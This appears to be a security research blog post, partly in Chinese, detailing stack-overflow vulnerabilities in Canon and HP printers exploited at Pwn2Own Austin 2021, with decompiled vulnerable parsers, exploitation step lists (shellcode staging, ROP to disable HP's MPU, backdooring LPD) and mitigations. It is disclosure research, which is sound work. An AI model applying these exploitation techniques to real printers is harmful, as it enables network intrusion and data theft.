我們可以構造很長的 request 到 /Scan/Jobs/ 來觸發漏洞，並且該處沒有 Stack Guard 也沒有 ASLR，可以直接覆蓋 return address，這邊只需要做 ROP 覆蓋掉 strncmp 的 GOT 到 system 後，就可以透過 /Copy/{cmd} 來執行任意指令了。

不過最終這個漏洞與其他隊伍撞洞了。

Summary

從 Pwn2Own Austin 2021 到 Pwn2Own Toronto 2022 的結果看下來，印表機安全依舊是容易被忽略的，短短一年間，能打下印表機的隊伍也大幅增加，甚至到第三年 Pwn2Own Toronto 2023 也還是被許多隊伍找到漏洞，最後也建議大家如果有使用到這些 IoT 設備，盡量把不必要的服務關閉並且設好防火牆及做好權限控管，以減少被攻擊的可能。

English Version, 中文版本

Printer has become one of the essential devices in the corporate intranet in the past few years, and its functionalities have also increased significantly. Not only printing or faxing, cloud printing services like AirPrint are also supported to make it easier to use. Direct printing from mobile devices is now a basic requirement in the IoT era. We also use it to print some internal business documents of the company, which makes it even more important to keep the printer secure.

In 2021, we found Pre-auth RCE vulnerabilities(CVE-2022-24673 and CVE-2022-3942) in Canon and HP printers, and vulnerability(CVE-2021-44734) in Lexmark. We used these vulnerabilities to exploit Canon ImageCLASS MF644Cdw, HP Color LaserJet Pro MFP M283fdw and Lexmark MC3224i in Pwn2Own Austin 2021. Following we will describe the details of the Canon and HP vulnerabilities and exploitation.

This research is also presented at HITCON 2022 and CODE BLUE 2022. You can check the slides here.

Printer

In the early days, it often required an IEEE1284 or USB Printer cable to connect the printer to the computer. We also had to install the printer driver provided by the manufacturer. Nowadays, most of the printers on the market do not require USB or traditional cable. As long as the printer is connected to the intranet through a LAN cable, we can find and utilize the printer immediately.

Printer also provides not only printing but also various services such as FTP, AirPrint, Bonjour. Nothing more than to make printing more convenient.

Motivation Why do we want to research Printers ? Red Team

While doing red team assessment, we found that printers generally appeared in the corporate intranet. There are almost always more than one, but they are usually overlooked and lack of update. It is also an excellent target for red team to hide the action because it is often difficult to detect. It is worth mentioning that larger enterprises are also likely to connect them to AD and become the entry point for confidential information.

Pwn2Own Austin 2021

Another reason is that printers have become one of the main targets of Pwn2Own Mobile. We were also preparing to participate the Pwn2Own stage again, so we decided to start with it.

At first, we thought they were trivial. Like most IoT devices, there are often many command injection vulnerabilities. However, many printers use RTOS instead of Linux systems, which drove our determination to challenge it.

This article will focus on the Canon and HP parts.

Analysis

In the beginning, we read many articles, all of them need to tear down the hardware for analysis and obtaining the debug console. Then they use the memory dumping method to obtain the original firmware. But in the end, we chose another way and didn’t tear down any of the printers.

Canon Firmware Extract

The initial analysis version is v6.03, we used binwalk to analyze it at the beginning, but the firmware is obfuscated, we can’t analyze it directly.

Obfuscated Canon ImageCLASS MF644Cdw firmware

We also tried “TREASURE CHEST PARTY QUEST: FROM DOOM TO EXPLOIT” by Synacktiv and “Hacking Canon Pixma Printers – Doomed Encryption” by Contextis research. But this time, it’s an entirely different series, and we can’t use the same method to deobfuscate the firmware.

So we started to analyze the obfuscated firmware format and content.

We can see from the obfuscated firmware that the beginning is the Magic NCFW, followed by the size of the firmware, and other parts are obfuscated data.

So we started to think that maybe the old firmware of this printer is not obfuscated until a specific version. If we can get the intermediate version, maybe there is a chance to get the deobfuscation method. The magic header also lets us distinguish whether it is obfuscated.

We can obtain the firmware download URL through the official website or the update packet.

https://pdisp01.c-wss.com/gdl/WWUFORedirectTarget.do?id=MDQwMDAwNDc1MjA1&cmp=Z01&lang=EN

After analysis, it can be split into three parts.

Ｗe can roughly infer the rules of the download URL. We use this method to download all versions of firmware. The versions we downloaded at that time included:

• V2.01
• V4.02
• V6.03
• V9.03
• V10.02

V10.02 is a version that will be released in a few weeks, and you can download it from here first. After downloading all versions, we found that the firmware for this series is obfuscated, and there is no way to deobfuscate it from the previous version.

But we can try downloading Canon’s other series firmware and find out if there is a similar obfuscation algorithm. After all the firmware is downloaded, the total file size is 130 GB. We can find unobfuscated firmware by grepping for NCFW and servicemode.html.

Finally, we found four firmware that meets the conditions. We chose WG7000 series printers to analyze and found the suspected deobfuscation function.

Fortunately, by rewriting this function, the MF644Cdw firmware can be deobfuscated.

After the firmware is extracted, we needed the image base address so that IDA can effectively identify and reference the strings. At first, we find the image base through the common analysis tool rbasefind.

The first base we found was 0x40b0000. But after decompiled it with IDA, most of the function did not correspond to the debug message string.

As shown in the figure above, loc_4489AC08 should point to the string of the function name, but this address is not a regular string. Instead, it is recognized as a code section, and the content is not a string. This indicates that this location is not an actual address. We thought there was a slight offset, but it did not cause big problem for decompiling functions.

How to solve this problem? We first found a function with a known function name and the function name string belonging to it to make adjustments. After finding the offset, we adjusted the image base to the correct address. The final image base found is 0x40affde0. After adjustment, you can see that the original function name can be identified correctly.

Next, we can analyze the firmware typically. After preliminary analysis, we can find out the of Canon ImageCLASS MF644Cdw:

• OS - DryOSV2
  • Customized RTOS by Canon
• ARMv7 32bit little-endian
• Linked with application code into single image
  • Kernel
  • Service

HP

HP’s firmware is relatively easy to obtain. We can use binwalk -Z to obtain the correct firmware. It took about 3-4 days. The other steps, such as finding the image base address, are just the same as Canon. After preliminary analysis, the architecture of HP Color LaserJet Pro MFP M283fdw is as follows:

• OS
  • RTOS - Modify from ThreadX/Green Hills
• ARM11 Mixed-endian
  • Code - little-endian
  • Data - Big-endian

Attack Surface

Many services are enabled by default in most printers on the market today.

Service Port Description RUI TCP 80/443 Web interface PDL TCP 9100 Page Description Language PJL TCP 9100 Printer Job Language IPP TCP 631 Internet Printing Protocol LPD TCP 515 Line Printer Daemon Protocol SNMP UDP 161 Simple Network Management Protocol SLP TCP 427 Service Location Protocol mDNS UDP 5353 Multicast DNS LLMNR UDP 5355 Link-Local Multicast Name Resolution … … …

Usually, RUI (web interface) is opened for facilitate management. The 9100 Port is also commonly used by printers, mainly used to transmit printed data.

Others vary between vendors, but the listed ones are usually present, and most are enabled by default. After evaluating the overall architecture, we focus on service discovery and the DNS series of services. Our long-term experience has often observed that such protocols implemented by manufacturers are often prone to vulnerabilities. The primary services we analyzed were SLP, mDNS, and LLMNR.

Next, we take Pwn2Own Austin 2021 as a case study to see what problems these protocols often have.

Hacking printers at Pwn2Own Canon Service Location Protocol

SLP is a service discovery protocol that allows computers and other devices to find services in local area network. In the past, there were many vulnerabilities in EXSI’s SLP. Canon implements the SLP service mainly by themselves. For details about SLP service, please refer to RFC2608.

Before we look into the detail of SLP, we need to talk about the structure of SLP packets.

SLP Packet Structure

Here we only need to pay attention to function-id. This field determines the request type and the format of the payload part. Canon only implements Service Request and Attribute Request.

In the Attribute Request (AttrRqst), the user can obtain the attribute list according to the service and scope. We can specify a scope to look for, such as Canon printers.

Example:

The Attribute Request structure is as follows

It mainly comprises length (Length) and value (Value). Parsing this kind of format should be careful because there are often bugs here. In fact, there is a vulnerability in Canon when paring this format.

Vulnerability

When it parses the scope list, it converts escape characters to ASCII. For example, \41 will be converted to A. But what’s wrong with this simple transformation? Let’s take a look at the pseudocode.

int parse_scope_list(...){ char destbuf[36]; unsigned int max = 34; parse_escape_char(...,destbuf,max); }

As shown in the above code, in parse_scope_list, it passes a fixed size buffer destbuf and the maximum size 34 to parse_escape_char. No vulnerability here. Let’s take a look at parse_escape_char.

int __fastcall parse_escape_char(unsigned __int8 **pdata, _WORD *pdatalen, unsigned __int8 *destbuf, _WORD *max) { unsigned int idx; // r7 int v7; // r9 int v8; // r8 int error; // r11 unsigned __int8 *v10; // r5 unsigned int i; // r6 int v12; // r1 int v13; // r0 unsigned int v14; // r1 bool v15; // cc int v16; // r2 bool v17; // cc unsigned __int8 v18; // r0 int v19; // r0 unsigned __int8 v20; // r0 unsigned int v21; // r0 unsigned int v22; // r0 idx = 0; v7 = 0; v8 = 0; error = 0; v10 = *pdata; for ( i = (unsigned __int16)*pdatalen; i && !v7; i = (unsigned __int16)(i - 1) ) { v12 = *v10; if ( v12 == ',' ) { if ( i < 2 ) return -4; v7 = 1; } else { if ( v12 == '\\' ) //----------------------[1] { if ( i < 3 ) return -4; v13 = v10[1]; v14 = v13 - '0'; v15 = v13 - (unsigned int)'0' > 9; if ( v13 - (unsigned int)'0' > 9 ) v15 = v13 - (unsigned int)'A' > 5; if ( v15 && v13 - (unsigned int)'a' > 5 ) return -4; v16 = v10[2]; v17 = v16 - (unsigned int)'0' > 9; if ( v16 - (unsigned int)'0' > 9 ) v17 = v16 - (unsigned int)'A' > 5; if ( v17 && v16 - (unsigned int)'a' > 5 ) return -4; if ( v14 <= 9 ) v18 = 0x10 * v14; else v18 = v13 - 0x37; if ( v14 > 9 ) v18 *= 0x10; *destbuf = v18; //-------------------[2] v19 = v10[2]; v10 += 2; v20 = (unsigned int)(v19 - 0x30) > 9 ? (v19 - 55) & 0xF | *destbuf : *destbuf | (v19 - 0x30) & 0xF; *destbuf = v20; LOWORD(i) = i - 2; if ( !strchr((int)"(),\\!<=>~;*+", *destbuf) ) { v21 = *destbuf; if ( v21 > 0x1F && v21 != 0x7F ) return -4; } goto LABEL_40; } if ( strchr((int)"(),\\!<=>~;*+", v12) ) //-----------------------[3] return -4; v22 = *v10; if ( v22 <= 0x1F || v22 == 0x7F ) return -4; if ( v22 != ' ' ) { v8 = 0; goto LABEL_35; } if ( !v8 ) { v8 = 1; LABEL_35: if ( (unsigned __int16)*max <= idx ) //----------------------[4] { error = 1; goto next_one; } if ( v8 ) LOBYTE(v22) = 32; *destbuf = v22; LABEL_40: ++destbuf; idx = (unsigned __int16)(idx + 1); } } next_one: ++v10; } if ( error ) { *max = 0; debugprintff(3645, 4, "Scope longer than buffer provided"); LABEL_48: *pdata = v10; *pdatalen = i; return 0; } if ( idx ) { *max = idx; goto LABEL_48; } return -4; }

You can see that [3] is a case that handles no escape characters. It checks whether the length exceeds the maximum[4]. However, in case [1] handling escape characters, there is no length check, and the converted result is directly copied to the destination buffer [2].

Once given a long escape characters string, it leads to a stack overflow.

After finding the vulnerability, the first thing is to see what protection it has to decide on the exploit plan. But after analysis, we found that the Canon printer does not have any memory-related protection.

Protection

• No Stack Guard
• No DEP
• No ASLR

No Stack Guard, no DEP and no ASLR, hacker friendly ! Like back to the 90s, just a stack overflow can control the world. Next, like the past stack overflow exploit method, we just need to find a fixed address to store the shellcode, overwrite the return address, and jump to the shellcode. Eventually, we found the BJNP service to store our shellcode.

BJNP

BJNP is also a service discovery protocol designed by Canon, and there have been many vulnerabilities in the past. Synacktiv has also exploited Pixma MX925 through this protocol. For more details, please refer to here. BJNP stores the controllable session data in the global buffer. We can use this function to put our shellcode in a fixed location without strict restrictions.

Exploitation Step

• Use BJNP to store our shellcode on a global buffer
• Trigger stack overflow in SLP and overwrite return address
• Return to the global buffer

Pwn2Own Austin 2021

Generally, the Pwn2Own organizer(ZDI) requests participants to prove that we have pwned the target. The presentation method here is up to players. Initially, we wanted to print the logo directly on the LCD screen as we exploited the Lexmark printer.

However, we spent a lot of time figuring out how to print the image on the screen, which was longer than finding vulnerabilities and writing exploits. In the end, a safer approach was adopted because of the time constraints, directly changing the Service Mode string and printing it on the screen.

In fact, it is not that difficult to print the image on the screen. Other teams have found methods. Those who are interested can try it out :)

Debug

Some people may wonder how to debug in this environment. There are usually several ways to debug:

• Teardown the printer and get debug console.
• Use an old exploit to install customized debugger

However, we have updated to the latest version at that time. There is no known vulnerability in this version, so we need to downgrade the version back. Tearing down the hardware also takes additional time and cost. But we already had a vulnerability at that time, it was not cost-effective to tear down the hardware or downgrade. Finally, we still used the most traditional sleep debug method.

After ROP or executing shellcode, print the result to a web page or other visible place, then call sleep. We can read the result from the web page and finally restart the machine to repeat this process.

Next, let’s talk about HP printers.

HP Link-Local Multicast Name Resolution

LLMNR is very similar to mDNS. It provides base name resolution on the same local link. But it is more straightforward than mDNS and usually also cooperates with some service discovery protocols. Here is a brief introduction to this mechanism:

In the domain name resolution of the local area network, Client A will first use multicast to find the location of Client C in the local area network.

After Client C receives, Client C sends it back to Client A, which implements the link-local domain name resolution.

LLMNR is mainly based on the DNS packet format, and the format is as follows:

The main format is the header followed by Queries, and Count represents the number of queries of different types.

Each DNS Query is composed of many labels, and each label will comprise length and string, as shown in the figure above. There is also a Message Compression mechanism. Dealing with these is very prone to vulnerabilities. “THE COST OF COMPLEXITY: Different Vulnerabilities While Implementing the Same RFC” at BlackHat 2021 also mentions similar problems.

Vulnerability

Let’s look at HP’s implementation:

int llmnr_process_query(...){ char result[292]; consume_labels(llmnr_packet->qname,result,...); ... }

Here you can see that when HP processes LLMNR packets, it passes a fixed size buffer to consume_lables. consume_lables is used to process DNS labels, and the fixed buffer is used to store the results.

int __fastcall consume_labels(char *src, char *dst, llmnr_hdr *a3) { int v3; // r5 int v4; // r12 unsigned int len; // r3 int v6; // r4 char v7; // r6 bool v8; // cc int v9; // r0 unsigned __int8 chr; // r6 int result; // r0 v3 = 0; v4 = 0; len = 0; v6 = 0; while ( 1 ) { chr = src[v3]; //-------------[1] if ( !chr ) break; if ( (int)len <= 0 ) { v8 = chr <= 0xC0u; if ( chr == 0xC0 ) { v9 = src[v3 + 1]; v6 = 1; v3 = 0; src = (char *)a3 + v9; } else { len = src[v3++]; v8 = v4 <= 0; } if ( !v8 ) dst[v4++] = '.'; } else { v7 = src[v3++]; len = (char)(len - 1); dst[v4++] = v7; //----------[2] } } result = v3 + 1; dst[v4] = 0; if ( v6 ) return 2; return result; }

We can see that [1] will get the label length and then process it according to the type. [2] is used as a case of length. There is no length check here, and the label is directly written into the dst buffer, leading to stack overflow. At this point, we thought we could exploit it in the similar way as Canon. However, when we were writing the exploit, we found that HP printers have more protection mechanisms.

Protection

• No Stack Guard
• XN(DEP)
• Memory Protect Unit (MPU)
• No ASLR

In this case, XN and MPU memory protection mechanisms are enabled, and this vulnerability has more restrictions. We can only overflow about 0x100 bytes without null byte, which significantly restricts our ROP and makes it more challenging. We need to find other vulnerabilities or methods to achieve our goal.

After a while, we started thinking about how HP printers implement XN(DEP) and MPU. Let’s review HP RTOS:

• Linked with application code into single image
• Many tasks run
  • in the same virtual address space
  • in kernel-mode

After reviewing, we thought, can we bypass it by understanding the MMU and MPU in HP RTOS?

MMU in HP M283fdw

HP M283fdw uses one-level page table translation and each translation table entry for translating a 1MB section. The translation table is located at 0x4003c000.

Each translation table entry corresponds to a physical address and the permissions of the section. The CPU determines whether it can be executed or modified according to the entry. The permissions related here are AP, APX, and XN. We can also map any physical address through this translation table entry.

Generally, we can modify the translation table entry through ROP if we have stack overflow under high privileges. But when we tried to write directly to the translation table, the HP printer crashed.

We checked and found that the leading cause of the memory fault exception is that Memory Protection Unit(MPU) protects the translation table.

MPU in HP M283fdw

The MPU enables you to partition memory into regions and set individual protection attributes for each regions. It is an entirely different mechanism from MMU and is often found in IoT devices. HP enables MPU at boot and defines permissions for each region, so we cannot manipulate the page table.

After a long time of reverse engineering and referencing the ARM Manual, we found that the MPU can be turned off by clearing MPU_CTRL. We found that the location is 0xE0400304, slightly different from ARM’s spec.

Exploitation

After understanding HP’s MMU and MPU mechanism, we can easily use ROP to turn off the MPU and successfully modify the translation table entry. We can arbitrarily modify the code of any service, and we finally chose Line Printer Daemon(LPD). We modified it into a backdoor, read more payloads to the specified location, and finally executed the shellcode.

But there is one thing that must be mentioned. After the translation table entry and LPD code are overwritten, be sure to flush TLB and invalidate I-cache and D-cache. Otherwise, it is very likely to execute in the old one, causing the exploit to fail.

Flush TLB

flush_tlb: mov r12, #0 mcr p15, 0, r12, c8, c7, 0

Invalidate I-cache

disable_icache: mrc p15, 0, r1, c1, c0, 0 bic r1, r1, #(1 << 12) mcr p15, 0, r1, c1, c0, 0 Exploitation Step

• Trigger stack overflow in LLMNR and overwrite return address
• Use limited ROP to
  • disable MPU
  • modify translation table entry and get read-write execute permission
  • flush TLB
  • modify the code of LPD
  • invalidate I-cache and D-cache
• Use modified LPD to read our shellcode and jump to shellcode

Pwn2Own Austin 2021

When we could execute the shellcode, we only had one week left, and we finally chose to use the exact string to display Pwned by DEVCORE on the LCD.

After that, we also tried to change the backdoor to the debug console to facilitate many functions, such as viewing memory information, playing music, etc.

F-Secure Labs used the function of playing music to present it at that time. It is fascinating. You can go here to look at the situation at the Pwn2Own.

Result

In Pwn2Own Austin 2021, we got 2nd place after pwning other devices and printers. We had a good experience and learned some new things.

Mitigation Update

The first is to update regularly. All the printers mentioned have been patched. It is often ignored. We usually find printers lack of update for several years and even leave the default password directly in the corporate intranet.

Disable unused service

Another mitigation is to turn off services that are not in use as much as possible. Most printers default enable too many services that are usually unused. We even think that you can turn off the discovery service, just open the service you want to use.

Firewall

It would be better if you could apply a firewall. Most printers provide related functions.

Summary

With code execution on the printers, in addition to printing things on the LCD, we can use the printer to steal confidential information, whether it is confidential documents or some credential. We can also use the printer for lateral movement, and because it is hard to detect, making it an excellent target for the red team.

By the way, the protocols of the discovery service series on many printers are often vulnerable. If you want to find vulnerabilities in printers or other IoT devices, you can look in this direction.

To Be Continue

We also found several vulnerabilities in the printer series at Pwn2Own Toronto 2022 last year. We will be releasing detailed information soon, so stay tuned for Part II.

Reference

• https://labs.withsecure.com/assets/BlogFiles/Printing-Shellz.pdf
• https://foxglovesecurity.com/2017/11/20/a-sheep-in-wolfs-clothing-finding-rce-in-hps-printer-fleet/
• https://research.checkpoint.com/2018/sending-fax-back-to-the-dark-ages/